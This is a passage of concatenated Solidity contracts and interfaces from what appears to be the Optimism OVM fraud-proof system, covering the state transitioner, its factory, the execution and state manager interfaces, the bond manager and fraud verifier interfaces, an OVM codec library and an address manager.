import { iOVM_BondManager } from "../../iOVM/verification/iOVM_BondManager.sol";
import { iOVM_ExecutionManager } from "../../iOVM/execution/iOVM_ExecutionManager.sol";
import { iOVM_StateManager } from "../../iOVM/execution/iOVM_StateManager.sol";
import { iOVM_StateManagerFactory } from "../../iOVM/execution/iOVM_StateManagerFactory.sol";
/* Contract Imports */
import { Abs_FraudContributor } from "./Abs_FraudContributor.sol";
/**
* @title OVM_StateTransitioner
* @dev The State Transitioner coordinates the execution of a state transition during the evaluation of a
* fraud proof. It feeds verified input to the Execution Manager's run(), and controls a State Manager (which is
* uniquely created for each fraud proof).
* Once a fraud proof has been initialized, this contract is provided with the pre-state root and verifies
* that the OVM storage slots committed to the State Mangager are contained in that state
* This contract controls the State Manager and Execution Manager, and uses them to calculate the
* post-state root by applying the transaction. The Fraud Verifier can then check for fraud by comparing
* the calculated post-state root with the proposed post-state root.
*
* Compiler used: solc
* Runtime target: EVM
*/
contract OVM_StateTransitioner is Lib_AddressResolver, Abs_FraudContributor, iOVM_StateTransitioner {
/*******************
* Data Structures *
*******************/
enum TransitionPhase {
PRE_EXECUTION,
POST_EXECUTION,
COMPLETE
}
/*******************************************
* Contract Variables: Contract References *
*******************************************/
iOVM_StateManager public ovmStateManager;
/*******************************************
* Contract Variables: Internal Accounting *
*******************************************/
bytes32 internal preStateRoot;
bytes32 internal postStateRoot;
TransitionPhase public phase;
uint256 internal stateTransitionIndex;
bytes32 internal transactionHash;
/*************
* Constants *
*************/
bytes32 internal constant EMPTY_ACCOUNT_CODE_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
bytes32 internal constant EMPTY_ACCOUNT_STORAGE_ROOT = 0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421;
/***************
* Constructor *
***************/
/**
* @param _libAddressManager Address of the Address Manager.
* @param _stateTransitionIndex Index of the state transition being verified.
* @param _preStateRoot State root before the transition was executed.
* @param _transactionHash Hash of the executed transaction.
*/
constructor(
address _libAddressManager,
uint256 _stateTransitionIndex,
bytes32 _preStateRoot,
bytes32 _transactionHash
)
Lib_AddressResolver(_libAddressManager)
{
stateTransitionIndex = _stateTransitionIndex;
preStateRoot = _preStateRoot;
postStateRoot = _preStateRoot;
transactionHash = _transactionHash;
ovmStateManager = iOVM_StateManagerFactory(resolve("OVM_StateManagerFactory")).create(address(this));
}
/**********************
* Function Modifiers *
**********************/
/**
* Checks that a function is only run during a specific phase.
* @param _phase Phase the function must run within.
*/
modifier onlyDuringPhase(
TransitionPhase _phase
) {
require(
phase == _phase,
"Function must be called during the correct phase."
);
_;
}
/**********************************
* Public Functions: State Access *
**********************************/
/**
* Retrieves the state root before execution.
* @return _preStateRoot State root before execution.
*/
function getPreStateRoot()
override
external
view
returns (
bytes32 _preStateRoot
)
{
return preStateRoot;
}
/**
* Retrieves the state root after execution.
* @return _postStateRoot State root after execution.
*/
function getPostStateRoot()
override
external
view
returns (
bytes32 _postStateRoot
)
{
return postStateRoot;
}
/**
* Checks whether the transitioner is complete.
* @return _complete Whether or not the transition process is finished.
*/
function isComplete()
override
external
view
returns (
bool _complete
)
{
return phase == TransitionPhase.COMPLETE;
}
/***********************************
* Public Functions: Pre-Execution *
***********************************/
/**
* Allows a user to prove the initial state of a contract.
* @param _ovmContractAddress Address of the contract on the OVM.
* @param _ethContractAddress Address of the corresponding contract on L1.
* @param _stateTrieWitness Proof of the account state.
*/
function proveContractState(
address _ovmContractAddress,
address _ethContractAddress,
bytes memory _stateTrieWitness
)
override
external
onlyDuringPhase(TransitionPhase.PRE_EXECUTION)
contributesToFraudProof(preStateRoot, transactionHash)
{
// Exit quickly to avoid unnecessary work.
require(
(
ovmStateManager.hasAccount(_ovmContractAddress) == false
&& ovmStateManager.hasEmptyAccount(_ovmContractAddress) == false
),
"Account state has already been proven."
);
// Function will fail if the proof is not a valid inclusion or exclusion proof.
(
bool exists,
bytes memory encodedAccount
) = Lib_SecureMerkleTrie.get(
abi.encodePacked(_ovmContractAddress),
_stateTrieWitness,
preStateRoot
);
if (exists == true) {
// Account exists, this was an inclusion proof.
Lib_OVMCodec.EVMAccount memory account = Lib_OVMCodec.decodeEVMAccount(
encodedAccount
);
address ethContractAddress = _ethContractAddress;
if (account.codeHash == EMPTY_ACCOUNT_CODE_HASH) {
// Use a known empty contract to prevent an attack in which a user provides a
// contract address here and then later deploys code to it.
ethContractAddress = 0x0000000000000000000000000000000000000000;
} else {
// Otherwise, make sure that the code at the provided eth address matches the hash
// of the code stored on L2.
require(
Lib_EthUtils.getCodeHash(ethContractAddress) == account.codeHash,
"OVM_StateTransitioner: Provided L1 contract code hash does not match L2 contract code hash."
);
}
ovmStateManager.putAccount(
_ovmContractAddress,
Lib_OVMCodec.Account({
nonce: account.nonce,
balance: account.balance,
storageRoot: account.storageRoot,
codeHash: account.codeHash,
ethAddress: ethContractAddress,
isFresh: false
})
);
} else {
// Account does not exist, this was an exclusion proof.
ovmStateManager.putEmptyAccount(_ovmContractAddress);
}
}
/**
* Allows a user to prove the initial state of a contract storage slot.
* @param _ovmContractAddress Address of the contract on the OVM.
* @param _key Claimed account slot key.
* @param _storageTrieWitness Proof of the storage slot.
*/
function proveStorageSlot(
address _ovmContractAddress,
bytes32 _key,
bytes memory _storageTrieWitness
)
override
external
onlyDuringPhase(TransitionPhase.PRE_EXECUTION)
contributesToFraudProof(preStateRoot, transactionHash)
{
// Exit quickly to avoid unnecessary work.
require(
ovmStateManager.hasContractStorage(_ovmContractAddress, _key) == false,
"Storage slot has already been proven."
);
require(
ovmStateManager.hasAccount(_ovmContractAddress) == true,
"Contract must be verified before proving a storage slot."
);
bytes32 storageRoot = ovmStateManager.getAccountStorageRoot(_ovmContractAddress);
bytes32 value;
if (storageRoot == EMPTY_ACCOUNT_STORAGE_ROOT) {
// Storage trie was empty, so the user is always allowed to insert zero-byte values.
value = bytes32(0);
} else {
// Function will fail if the proof is not a valid inclusion or exclusion proof.
(
bool exists,
bytes memory encodedValue
) = Lib_SecureMerkleTrie.get(
abi.encodePacked(_key),
_storageTrieWitness,
storageRoot
);
if (exists == true) {
// Inclusion proof.
// Stored values are RLP encoded, with leading zeros removed.
value = Lib_BytesUtils.toBytes32PadLeft(
Lib_RLPReader.readBytes(encodedValue)
);
} else {
// Exclusion proof, can only be zero bytes.
value = bytes32(0);
}
}
ovmStateManager.putContractStorage(
_ovmContractAddress,
_key,
value
);
}
/*******************************
* Public Functions: Execution *
*******************************/
/**
* Executes the state transition.
* @param _transaction OVM transaction to execute.
*/
function applyTransaction(
Lib_OVMCodec.Transaction memory _transaction
)
override
external
onlyDuringPhase(TransitionPhase.PRE_EXECUTION)
contributesToFraudProof(preStateRoot, transactionHash)
{
require(
Lib_OVMCodec.hashTransaction(_transaction) == transactionHash,
"Invalid transaction provided."
);
// We require gas to complete the logic here in run() before/after execution,
// But must ensure the full _tx.gasLimit can be given to the ovmCALL (determinism)
// This includes 1/64 of the gas getting lost because of EIP-150 (lost twice--first
// going into EM, then going into the code contract).
require(
gasleft() >= 100000 + _transaction.gasLimit * 1032 / 1000, // 1032/1000 = 1.032 = (64/63)^2 rounded up
"Not enough gas to execute transaction deterministically."
);
iOVM_ExecutionManager ovmExecutionManager = iOVM_ExecutionManager(resolve("OVM_ExecutionManager"));
// We call `setExecutionManager` right before `run` (and not earlier) just in case the
// OVM_ExecutionManager address was updated between the time when this contract was created
// and when `applyTransaction` was called.
ovmStateManager.setExecutionManager(address(ovmExecutionManager));
// `run` always succeeds *unless* the user hasn't provided enough gas to `applyTransaction`
// or an INVALID_STATE_ACCESS flag was triggered. Either way, we won't get beyond this line
// if that's the case.
ovmExecutionManager.run(_transaction, address(ovmStateManager));
// Prevent the Execution Manager from calling this SM again.
ovmStateManager.setExecutionManager(address(0));
phase = TransitionPhase.POST_EXECUTION;
}
/************************************
* Public Functions: Post-Execution *
************************************/
/**
* Allows a user to commit the final state of a contract.
* @param _ovmContractAddress Address of the contract on the OVM.
* @param _stateTrieWitness Proof of the account state.
*/
function commitContractState(
address _ovmContractAddress,
bytes memory _stateTrieWitness
)
override
external
onlyDuringPhase(TransitionPhase.POST_EXECUTION)
contributesToFraudProof(preStateRoot, transactionHash)
{
require(
ovmStateManager.getTotalUncommittedContractStorage() == 0,
"All storage must be committed before committing account states."
);
require (
ovmStateManager.commitAccount(_ovmContractAddress) == true,
"Account state wasn't changed or has already been committed."
);
Lib_OVMCodec.Account memory account = ovmStateManager.getAccount(_ovmContractAddress);
postStateRoot = Lib_SecureMerkleTrie.update(
abi.encodePacked(_ovmContractAddress),
Lib_OVMCodec.encodeEVMAccount(
Lib_OVMCodec.toEVMAccount(account)
),
_stateTrieWitness,
postStateRoot
);
// Emit an event to help clients figure out the proof ordering.
emit AccountCommitted(
_ovmContractAddress
);
}
/**
* Allows a user to commit the final state of a contract storage slot.
* @param _ovmContractAddress Address of the contract on the OVM.
* @param _key Claimed account slot key.
* @param _storageTrieWitness Proof of the storage slot.
*/
function commitStorageSlot(
address _ovmContractAddress,
bytes32 _key,
bytes memory _storageTrieWitness
)
override
external
onlyDuringPhase(TransitionPhase.POST_EXECUTION)
contributesToFraudProof(preStateRoot, transactionHash)
{
require(
ovmStateManager.commitContractStorage(_ovmContractAddress, _key) == true,
"Storage slot value wasn't changed or has already been committed."
);
Lib_OVMCodec.Account memory account = ovmStateManager.getAccount(_ovmContractAddress);
bytes32 value = ovmStateManager.getContractStorage(_ovmContractAddress, _key);
account.storageRoot = Lib_SecureMerkleTrie.update(
abi.encodePacked(_key),
Lib_RLPWriter.writeBytes(
Lib_Bytes32Utils.removeLeadingZeros(value)
),
_storageTrieWitness,
account.storageRoot
);
ovmStateManager.putAccount(_ovmContractAddress, account);
// Emit an event to help clients figure out the proof ordering.
emit ContractStorageCommitted(
_ovmContractAddress,
_key
);
}
/**********************************
* Public Functions: Finalization *
**********************************/
/**
* Finalizes the transition process.
*/
function completeTransition()
override
external
onlyDuringPhase(TransitionPhase.POST_EXECUTION)
{
require(
ovmStateManager.getTotalUncommittedAccounts() == 0,
"All accounts must be committed before completing a transition."
);
require(
ovmStateManager.getTotalUncommittedContractStorage() == 0,
"All storage must be committed before completing a transition."
);
phase = TransitionPhase.COMPLETE;
}
}
// SPDX-License-Identifier: MIT
// @unsupported: ovm
pragma solidity >0.5.0 <0.8.0;
/* Library Imports */
import { Lib_AddressResolver } from "../../libraries/resolver/Lib_AddressResolver.sol";
/* Interface Imports */
import { iOVM_StateTransitioner } from "../../iOVM/verification/iOVM_StateTransitioner.sol";
import { iOVM_StateTransitionerFactory } from "../../iOVM/verification/iOVM_StateTransitionerFactory.sol";
import { iOVM_FraudVerifier } from "../../iOVM/verification/iOVM_FraudVerifier.sol";
/* Contract Imports */
import { OVM_StateTransitioner } from "./OVM_StateTransitioner.sol";
/**
* @title OVM_StateTransitionerFactory
* @dev The State Transitioner Factory is used by the Fraud Verifier to create a new State
* Transitioner during the initialization of a fraud proof.
*
* Compiler used: solc
* Runtime target: EVM
*/
contract OVM_StateTransitionerFactory is iOVM_StateTransitionerFactory, Lib_AddressResolver {
/***************
* Constructor *
***************/
constructor(
address _libAddressManager
)
Lib_AddressResolver(_libAddressManager)
{}
/********************
* Public Functions *
********************/
/**
* Creates a new OVM_StateTransitioner
* @param _libAddressManager Address of the Address Manager.
* @param _stateTransitionIndex Index of the state transition being verified.
* @param _preStateRoot State root before the transition was executed.
* @param _transactionHash Hash of the executed transaction.
* @return New OVM_StateTransitioner instance.
*/
function create(
address _libAddressManager,
uint256 _stateTransitionIndex,
bytes32 _preStateRoot,
bytes32 _transactionHash
)
override
public
returns (
iOVM_StateTransitioner
)
{
require(
msg.sender == resolve("OVM_FraudVerifier"),
"Create can only be done by the OVM_FraudVerifier."
);
return new OVM_StateTransitioner(
_libAddressManager,
_stateTransitionIndex,
_preStateRoot,
_transactionHash
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
pragma experimental ABIEncoderV2;
/* Library Imports */
import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol";
interface iOVM_ExecutionManager {
/**********
* Enums *
*********/
enum RevertFlag {
OUT_OF_GAS,
INTENTIONAL_REVERT,
EXCEEDS_NUISANCE_GAS,
INVALID_STATE_ACCESS,
UNSAFE_BYTECODE,
CREATE_COLLISION,
STATIC_VIOLATION,
CREATOR_NOT_ALLOWED
}
enum GasMetadataKey {
CURRENT_EPOCH_START_TIMESTAMP,
CUMULATIVE_SEQUENCER_QUEUE_GAS,
CUMULATIVE_L1TOL2_QUEUE_GAS,
PREV_EPOCH_SEQUENCER_QUEUE_GAS,
PREV_EPOCH_L1TOL2_QUEUE_GAS
}
/***********
* Structs *
***********/
struct GasMeterConfig {
uint256 minTransactionGasLimit;
uint256 maxTransactionGasLimit;
uint256 maxGasPerQueuePerEpoch;
uint256 secondsPerEpoch;
}
struct GlobalContext {
uint256 ovmCHAINID;
}
struct TransactionContext {
Lib_OVMCodec.QueueOrigin ovmL1QUEUEORIGIN;
uint256 ovmTIMESTAMP;
uint256 ovmNUMBER;
uint256 ovmGASLIMIT;
uint256 ovmTXGASLIMIT;
address ovmL1TXORIGIN;
}
struct TransactionRecord {
uint256 ovmGasRefund;
}
struct MessageContext {
address ovmCALLER;
address ovmADDRESS;
bool isStatic;
}
struct MessageRecord {
uint256 nuisanceGasLeft;
}
/************************************
* Transaction Execution Entrypoint *
************************************/
function run(
Lib_OVMCodec.Transaction calldata _transaction,
address _txStateManager
) external returns (bytes memory);
/*******************
* Context Opcodes *
*******************/
function ovmCALLER() external view returns (address _caller);
function ovmADDRESS() external view returns (address _address);
function ovmTIMESTAMP() external view returns (uint256 _timestamp);
function ovmNUMBER() external view returns (uint256 _number);
function ovmGASLIMIT() external view returns (uint256 _gasLimit);
function ovmCHAINID() external view returns (uint256 _chainId);
/**********************
* L2 Context Opcodes *
**********************/
function ovmL1QUEUEORIGIN() external view returns (Lib_OVMCodec.QueueOrigin _queueOrigin);
function ovmL1TXORIGIN() external view returns (address _l1TxOrigin);
/*******************
* Halting Opcodes *
*******************/
function ovmREVERT(bytes memory _data) external;
/*****************************
* Contract Creation Opcodes *
*****************************/
function ovmCREATE(bytes memory _bytecode) external returns (address _contract, bytes memory _revertdata);
function ovmCREATE2(bytes memory _bytecode, bytes32 _salt) external returns (address _contract, bytes memory _revertdata);
/*******************************
* Account Abstraction Opcodes *
******************************/
function ovmGETNONCE() external returns (uint256 _nonce);
function ovmINCREMENTNONCE() external;
function ovmCREATEEOA(bytes32 _messageHash, uint8 _v, bytes32 _r, bytes32 _s) external;
/****************************
* Contract Calling Opcodes *
****************************/
function ovmCALL(uint256 _gasLimit, address _address, bytes memory _calldata) external returns (bool _success, bytes memory _returndata);
function ovmSTATICCALL(uint256 _gasLimit, address _address, bytes memory _calldata) external returns (bool _success, bytes memory _returndata);
function ovmDELEGATECALL(uint256 _gasLimit, address _address, bytes memory _calldata) external returns (bool _success, bytes memory _returndata);
/****************************
* Contract Storage Opcodes *
****************************/
function ovmSLOAD(bytes32 _key) external returns (bytes32 _value);
function ovmSSTORE(bytes32 _key, bytes32 _value) external;
/*************************
* Contract Code Opcodes *
*************************/
function ovmEXTCODECOPY(address _contract, uint256 _offset, uint256 _length) external returns (bytes memory _code);
function ovmEXTCODESIZE(address _contract) external returns (uint256 _size);
function ovmEXTCODEHASH(address _contract) external returns (bytes32 _hash);
/***************************************
* Public Functions: Execution Context *
***************************************/
function getMaxTransactionGasLimit() external view returns (uint _maxTransactionGasLimit);
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
pragma experimental ABIEncoderV2;
/* Library Imports */
import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol";
/**
* @title iOVM_StateManager
*/
interface iOVM_StateManager {
/*******************
* Data Structures *
*******************/
enum ItemState {
ITEM_UNTOUCHED,
ITEM_LOADED,
ITEM_CHANGED,
ITEM_COMMITTED
}
/***************************
* Public Functions: Misc *
***************************/
function isAuthenticated(address _address) external view returns (bool);
/***************************
* Public Functions: Setup *
***************************/
function owner() external view returns (address _owner);
function ovmExecutionManager() external view returns (address _ovmExecutionManager);
function setExecutionManager(address _ovmExecutionManager) external;
/************************************
* Public Functions: Account Access *
************************************/
function putAccount(address _address, Lib_OVMCodec.Account memory _account) external;
function putEmptyAccount(address _address) external;
function getAccount(address _address) external view returns (Lib_OVMCodec.Account memory _account);
function hasAccount(address _address) external view returns (bool _exists);
function hasEmptyAccount(address _address) external view returns (bool _exists);
function setAccountNonce(address _address, uint256 _nonce) external;
function getAccountNonce(address _address) external view returns (uint256 _nonce);
function getAccountEthAddress(address _address) external view returns (address _ethAddress);
function getAccountStorageRoot(address _address) external view returns (bytes32 _storageRoot);
function initPendingAccount(address _address) external;
function commitPendingAccount(address _address, address _ethAddress, bytes32 _codeHash) external;
function testAndSetAccountLoaded(address _address) external returns (bool _wasAccountAlreadyLoaded);
function testAndSetAccountChanged(address _address) external returns (bool _wasAccountAlreadyChanged);
function commitAccount(address _address) external returns (bool _wasAccountCommitted);
function incrementTotalUncommittedAccounts() external;
function getTotalUncommittedAccounts() external view returns (uint256 _total);
function wasAccountChanged(address _address) external view returns (bool);
function wasAccountCommitted(address _address) external view returns (bool);
/************************************
* Public Functions: Storage Access *
************************************/
function putContractStorage(address _contract, bytes32 _key, bytes32 _value) external;
function getContractStorage(address _contract, bytes32 _key) external view returns (bytes32 _value);
function hasContractStorage(address _contract, bytes32 _key) external view returns (bool _exists);
function testAndSetContractStorageLoaded(address _contract, bytes32 _key) external returns (bool _wasContractStorageAlreadyLoaded);
function testAndSetContractStorageChanged(address _contract, bytes32 _key) external returns (bool _wasContractStorageAlreadyChanged);
function commitContractStorage(address _contract, bytes32 _key) external returns (bool _wasContractStorageCommitted);
function incrementTotalUncommittedContractStorage() external;
function getTotalUncommittedContractStorage() external view returns (uint256 _total);
function wasContractStorageChanged(address _contract, bytes32 _key) external view returns (bool);
function wasContractStorageCommitted(address _contract, bytes32 _key) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
/* Contract Imports */
import { iOVM_StateManager } from "./iOVM_StateManager.sol";
/**
* @title iOVM_StateManagerFactory
*/
interface iOVM_StateManagerFactory {
/***************************************
* Public Functions: Contract Creation *
***************************************/
function create(
address _owner
)
external
returns (
iOVM_StateManager _ovmStateManager
);
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
interface ERC20 {
function transfer(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
}
/// All the errors which may be encountered on the bond manager
library Errors {
string constant ERC20_ERR = "BondManager: Could not post bond";
string constant ALREADY_FINALIZED = "BondManager: Fraud proof for this pre-state root has already been finalized";
string constant SLASHED = "BondManager: Cannot finalize withdrawal, you probably got slashed";
string constant WRONG_STATE = "BondManager: Wrong bond state for proposer";
string constant CANNOT_CLAIM = "BondManager: Cannot claim yet. Dispute must be finalized first";
string constant WITHDRAWAL_PENDING = "BondManager: Withdrawal already pending";
string constant TOO_EARLY = "BondManager: Too early to finalize your withdrawal";
string constant ONLY_TRANSITIONER = "BondManager: Only the transitioner for this pre-state root may call this function";
string constant ONLY_FRAUD_VERIFIER = "BondManager: Only the fraud verifier may call this function";
string constant ONLY_STATE_COMMITMENT_CHAIN = "BondManager: Only the state commitment chain may call this function";
string constant WAIT_FOR_DISPUTES = "BondManager: Wait for other potential disputes";
}
/**
* @title iOVM_BondManager
*/
interface iOVM_BondManager {
/*******************
* Data Structures *
*******************/
/// The lifecycle of a proposer's bond
enum State {
// Before depositing or after getting slashed, a user is uncollateralized
NOT_COLLATERALIZED,
// After depositing, a user is collateralized
COLLATERALIZED,
// After a user has initiated a withdrawal
WITHDRAWING
}
/// A bond posted by a proposer
struct Bond {
// The user's state
State state;
// The timestamp at which a proposer issued their withdrawal request
uint32 withdrawalTimestamp;
// The time when the first disputed was initiated for this bond
uint256 firstDisputeAt;
// The earliest observed state root for this bond which has had fraud
bytes32 earliestDisputedStateRoot;
// The state root's timestamp
uint256 earliestTimestamp;
}
// Per pre-state root, store the number of state provisions that were made
// and how many of these calls were made by each user. Payouts will then be
// claimed by users proportionally for that dispute.
struct Rewards {
// Flag to check if rewards for a fraud proof are claimable
bool canClaim;
// Total number of `recordGasSpent` calls made
uint256 total;
// The gas spent by each user to provide witness data. The sum of all
// values inside this map MUST be equal to the value of `total`
mapping(address => uint256) gasSpent;
}
/********************
* Public Functions *
********************/
function recordGasSpent(
bytes32 _preStateRoot,
bytes32 _txHash,
address _who,
uint256 _gasSpent
) external;
function finalize(
bytes32 _preStateRoot,
address _publisher,
uint256 _timestamp
) external;
function deposit() external;
function startWithdrawal() external;
function finalizeWithdrawal() external;
function claim(
address _who
) external;
function isCollateralized(
address _who
) external view returns (bool);
function getGasSpent(
bytes32 _preStateRoot,
address _who
) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
pragma experimental ABIEncoderV2;
/* Library Imports */
import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol";
/* Interface Imports */
import { iOVM_StateTransitioner } from "./iOVM_StateTransitioner.sol";
/**
* @title iOVM_FraudVerifier
*/
interface iOVM_FraudVerifier {
/**********
* Events *
**********/
event FraudProofInitialized(
bytes32 _preStateRoot,
uint256 _preStateRootIndex,
bytes32 _transactionHash,
address _who
);
event FraudProofFinalized(
bytes32 _preStateRoot,
uint256 _preStateRootIndex,
bytes32 _transactionHash,
address _who
);
/***************************************
* Public Functions: Transition Status *
***************************************/
function getStateTransitioner(bytes32 _preStateRoot, bytes32 _txHash) external view returns (iOVM_StateTransitioner _transitioner);
/****************************************
* Public Functions: Fraud Verification *
****************************************/
function initializeFraudVerification(
bytes32 _preStateRoot,
Lib_OVMCodec.ChainBatchHeader calldata _preStateRootBatchHeader,
Lib_OVMCodec.ChainInclusionProof calldata _preStateRootProof,
Lib_OVMCodec.Transaction calldata _transaction,
Lib_OVMCodec.TransactionChainElement calldata _txChainElement,
Lib_OVMCodec.ChainBatchHeader calldata _transactionBatchHeader,
Lib_OVMCodec.ChainInclusionProof calldata _transactionProof
) external;
function finalizeFraudVerification(
bytes32 _preStateRoot,
Lib_OVMCodec.ChainBatchHeader calldata _preStateRootBatchHeader,
Lib_OVMCodec.ChainInclusionProof calldata _preStateRootProof,
bytes32 _txHash,
bytes32 _postStateRoot,
Lib_OVMCodec.ChainBatchHeader calldata _postStateRootBatchHeader,
Lib_OVMCodec.ChainInclusionProof calldata _postStateRootProof
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
pragma experimental ABIEncoderV2;
/* Library Imports */
import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol";
/**
* @title iOVM_StateTransitioner
*/
interface iOVM_StateTransitioner {
/**********
* Events *
**********/
event AccountCommitted(
address _address
);
event ContractStorageCommitted(
address _address,
bytes32 _key
);
/**********************************
* Public Functions: State Access *
**********************************/
function getPreStateRoot() external view returns (bytes32 _preStateRoot);
function getPostStateRoot() external view returns (bytes32 _postStateRoot);
function isComplete() external view returns (bool _complete);
/***********************************
* Public Functions: Pre-Execution *
***********************************/
function proveContractState(
address _ovmContractAddress,
address _ethContractAddress,
bytes calldata _stateTrieWitness
) external;
function proveStorageSlot(
address _ovmContractAddress,
bytes32 _key,
bytes calldata _storageTrieWitness
) external;
/*******************************
* Public Functions: Execution *
*******************************/
function applyTransaction(
Lib_OVMCodec.Transaction calldata _transaction
) external;
/************************************
* Public Functions: Post-Execution *
************************************/
function commitContractState(
address _ovmContractAddress,
bytes calldata _stateTrieWitness
) external;
function commitStorageSlot(
address _ovmContractAddress,
bytes32 _key,
bytes calldata _storageTrieWitness
) external;
/**********************************
* Public Functions: Finalization *
**********************************/
function completeTransition() external;
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
/* Contract Imports */
import { iOVM_StateTransitioner } from "./iOVM_StateTransitioner.sol";
/**
* @title iOVM_StateTransitionerFactory
*/
interface iOVM_StateTransitionerFactory {
/***************************************
* Public Functions: Contract Creation *
***************************************/
function create(
address _proxyManager,
uint256 _stateTransitionIndex,
bytes32 _preStateRoot,
bytes32 _transactionHash
)
external
returns (
iOVM_StateTransitioner _ovmStateTransitioner
);
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
pragma experimental ABIEncoderV2;
/* Library Imports */
import { Lib_RLPReader } from "../rlp/Lib_RLPReader.sol";
import { Lib_RLPWriter } from "../rlp/Lib_RLPWriter.sol";
import { Lib_BytesUtils } from "../utils/Lib_BytesUtils.sol";
import { Lib_Bytes32Utils } from "../utils/Lib_Bytes32Utils.sol";
/**
* @title Lib_OVMCodec
*/
library Lib_OVMCodec {
/*********
* Enums *
*********/
enum QueueOrigin {
SEQUENCER_QUEUE,
L1TOL2_QUEUE
}
/***********
* Structs *
***********/
struct Account {
uint256 nonce;
uint256 balance;
bytes32 storageRoot;
bytes32 codeHash;
address ethAddress;
bool isFresh;
}
struct EVMAccount {
uint256 nonce;
uint256 balance;
bytes32 storageRoot;
bytes32 codeHash;
}
struct ChainBatchHeader {
uint256 batchIndex;
bytes32 batchRoot;
uint256 batchSize;
uint256 prevTotalElements;
bytes extraData;
}
struct ChainInclusionProof {
uint256 index;
bytes32[] siblings;
}
struct Transaction {
uint256 timestamp;
uint256 blockNumber;
QueueOrigin l1QueueOrigin;
address l1TxOrigin;
address entrypoint;
uint256 gasLimit;
bytes data;
}
struct TransactionChainElement {
bool isSequenced;
uint256 queueIndex; // QUEUED TX ONLY
uint256 timestamp; // SEQUENCER TX ONLY
uint256 blockNumber; // SEQUENCER TX ONLY
bytes txData; // SEQUENCER TX ONLY
}
struct QueueElement {
bytes32 transactionHash;
uint40 timestamp;
uint40 blockNumber;
}
/**********************
* Internal Functions *
**********************/
/**
* Encodes a standard OVM transaction.
* @param _transaction OVM transaction to encode.
* @return Encoded transaction bytes.
*/
function encodeTransaction(
Transaction memory _transaction
)
internal
pure
returns (
bytes memory
)
{
return abi.encodePacked(
_transaction.timestamp,
_transaction.blockNumber,
_transaction.l1QueueOrigin,
_transaction.l1TxOrigin,
_transaction.entrypoint,
_transaction.gasLimit,
_transaction.data
);
}
/**
* Hashes a standard OVM transaction.
* @param _transaction OVM transaction to encode.
* @return Hashed transaction
*/
function hashTransaction(
Transaction memory _transaction
)
internal
pure
returns (
bytes32
)
{
return keccak256(encodeTransaction(_transaction));
}
/**
* Converts an OVM account to an EVM account.
* @param _in OVM account to convert.
* @return Converted EVM account.
*/
function toEVMAccount(
Account memory _in
)
internal
pure
returns (
EVMAccount memory
)
{
return EVMAccount({
nonce: _in.nonce,
balance: _in.balance,
storageRoot: _in.storageRoot,
codeHash: _in.codeHash
});
}
/**
* @notice RLP-encodes an account state struct.
* @param _account Account state struct.
* @return RLP-encoded account state.
*/
function encodeEVMAccount(
EVMAccount memory _account
)
internal
pure
returns (
bytes memory
)
{
bytes[] memory raw = new bytes[](4);
// Unfortunately we can't create this array outright because
// Lib_RLPWriter.writeList will reject fixed-size arrays. Assigning
// index-by-index circumvents this issue.
raw[0] = Lib_RLPWriter.writeBytes(
Lib_Bytes32Utils.removeLeadingZeros(
bytes32(_account.nonce)
)
);
raw[1] = Lib_RLPWriter.writeBytes(
Lib_Bytes32Utils.removeLeadingZeros(
bytes32(_account.balance)
)
);
raw[2] = Lib_RLPWriter.writeBytes(abi.encodePacked(_account.storageRoot));
raw[3] = Lib_RLPWriter.writeBytes(abi.encodePacked(_account.codeHash));
return Lib_RLPWriter.writeList(raw);
}
/**
* @notice Decodes an RLP-encoded account state into a useful struct.
* @param _encoded RLP-encoded account state.
* @return Account state struct.
*/
function decodeEVMAccount(
bytes memory _encoded
)
internal
pure
returns (
EVMAccount memory
)
{
Lib_RLPReader.RLPItem[] memory accountState = Lib_RLPReader.readList(_encoded);
return EVMAccount({
nonce: Lib_RLPReader.readUint256(accountState[0]),
balance: Lib_RLPReader.readUint256(accountState[1]),
storageRoot: Lib_RLPReader.readBytes32(accountState[2]),
codeHash: Lib_RLPReader.readBytes32(accountState[3])
});
}
/**
* Calculates a hash for a given batch header.
* @param _batchHeader Header to hash.
* @return Hash of the header.
*/
function hashBatchHeader(
Lib_OVMCodec.ChainBatchHeader memory _batchHeader
)
internal
pure
returns (
bytes32
)
{
return keccak256(
abi.encode(
_batchHeader.batchRoot,
_batchHeader.batchSize,
_batchHeader.prevTotalElements,
_batchHeader.extraData
)
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
/* External Imports */
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Lib_AddressManager
*/
contract Lib_AddressManager is Ownable {
/**********
* Events *
**********/
event AddressSet(
string _name,
address _newAddress
);
/*************
* Variables *
*************/
mapping (bytes32 => address) private addresses;
/********************
* Public Functions *
********************/
/**
* Changes the address associated with a particular name.
* @param _name String name to associate an address with.
* @param _address Address to associate with the name.
*/
function setAddress(
string memory _name,
address _address
)
external
onlyOwner
{
addresses[_getNameHash(_name)] = _address;
emit AddressSet(
_name,
_address
);
}
/**
* Retrieves the address associated with a given name.
* @param _name Name to retrieve an address for.
* @return Address associated with the given name.
*/
function getAddress(
string memory _name
)
external
view
returns (
address
)
{
return addresses[_getNameHash(_name)];
}
/**********************
* Internal Functions *
**********************/
/**
* Computes the hash of a name.
* @param _name Name to compute a hash for.
* @return Hash of the given name.
*/
function _getNameHash(
string memory _name
)
internal
pure
returns (
bytes32
)
{
return keccak256(abi.encodePacked(_name));
}
}
